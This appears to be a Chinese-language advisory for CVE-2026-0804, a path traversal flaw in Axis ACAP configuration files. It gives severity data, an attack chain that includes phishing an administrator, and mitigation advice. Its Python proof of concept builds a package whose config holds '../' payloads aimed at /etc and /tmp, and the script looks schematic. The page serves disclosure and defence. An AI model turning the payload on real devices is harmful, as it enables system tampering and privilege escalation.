IPBUF安全漏洞报告
English
CVE-2026-0804 CVSS 6.7 中危

CVE-2026-0804 Axis设备ACAP配置文件路径遍历漏洞

披露日期: 2026-05-12

漏洞信息

漏洞编号
CVE-2026-0804
漏洞类型
路径遍历
CVSS评分
6.7 中危
攻击向量
本地 (AV:L)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Axis 设备

相关标签

Path TraversalPrivilege EscalationACAPAxisLocal AttackInput Validation

漏洞概述

CVE-2026-0804 是一个存在于 Axis 设备中的安全漏洞。该漏洞源于 ACAP(Axis Camera Application Platform)配置文件缺乏足够的输入验证机制。攻击者可以利用这一缺陷实施路径遍历攻击,从而导致潜在的权限提升。然而,该漏洞的利用受到严格限制:仅在 Axis 设备被配置为允许安装未签名的 ACAP 应用程序,且攻击者成功诱导受害者安装恶意 ACAP 应用程序时,攻击才有可能发生。

技术细节

该漏洞的技术原理在于 ACAP 应用程序的配置解析器未能正确处理文件路径输入。ACAP 是 Axis 设备用于扩展功能的平台,应用程序通常包含描述其属性和文件位置的配置文件。由于缺乏对路径字符(如 '../')的过滤,攻击者可以构造一个特制的恶意 ACAP 应用包。在该包的配置文件中,攻击者将关键路径字段设置为指向系统敏感目录的相对路径。当具有管理权限的受害者(尽管 CVSS 指向 PR:H,但在实际场景中往往是社会工程学诱导管理员操作)在设备设置允许未签名应用的情况下上传并安装此应用时,系统解析器会将文件写入或读取到预期的沙箱目录之外。这种路径遍历行为可能导致覆盖关键系统文件、写入恶意脚本或读取敏感配置数据,最终实现权限提升,从应用程序级别提升至系统级别。

攻击链分析

STEP 1
1. 漏洞侦察
攻击者确认目标 Axis 设备开启了允许安装未签名 ACAP 应用程序的配置。
STEP 2
2. 构造恶意载荷
攻击者编写包含路径遍历序列(如 ../)的恶意 ACAP 配置文件,并将其打包为 ACAP 应用程序。
STEP 3
3. 社会工程学诱导
攻击者通过网络钓鱼或其他手段,诱导设备管理员或受害者下载并安装该恶意 ACAP 应用程序。
STEP 4
4. 执行安装与解析
受害者在设备管理界面安装应用。系统解析器读取配置文件,由于未过滤特殊字符,执行了路径遍历操作。
STEP 5
5. 权限提升
恶意文件被写入系统敏感目录,攻击者获得更高的系统权限或导致系统配置被篡改。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import os import zipfile # Description: Proof of Concept for generating a malicious ACAP package # This script creates a zip file containing a configuration file with a path traversal payload. # Malicious configuration content # The 'LogPath' attempts to write to a sensitive system location using '../' malicious_config = """ [Application] Name=MaliciousApp Version=1.0 [Configuration] # Path traversal payload LogFile=../../../../../etc/passwd_pwned TargetFile=../../../../../tmp/root_script.sh """ def generate_malicious_acap(filename): # Create a temporary directory structure for the ACAP if not os.path.exists('acap_payload'): os.makedirs('acap_payload') config_path = os.path.join('acap_payload', 'package.conf') with open(config_path, 'w') as f: f.write(malicious_config) # Create the ACAP package (zip file) with zipfile.ZipFile(filename, 'w') as zf: zf.write(config_path) print(f"[+] Malicious ACAP package generated: {filename}") print(f"[+] Payload includes path traversal in configuration.") print(f"[+] Note: Target device must allow installation of unsigned ACAPs.") # Usage if __name__ == "__main__": generate_malicious_acap("malicious_axis.acap")

影响范围

具体受影响版本请参考 Axis 官方安全公告 (CVE-2026-0804pdf-en-US-530732.pdf)

防御指南

临时缓解措施
如果无法立即安装补丁,建议用户检查并修改设备配置,确保禁用“安装未签名 ACAP 应用”的功能。同时,加强管理员的安全意识,不要轻易安装来源不明的第三方应用程序,以阻断攻击链中的社会工程学环节。

参考链接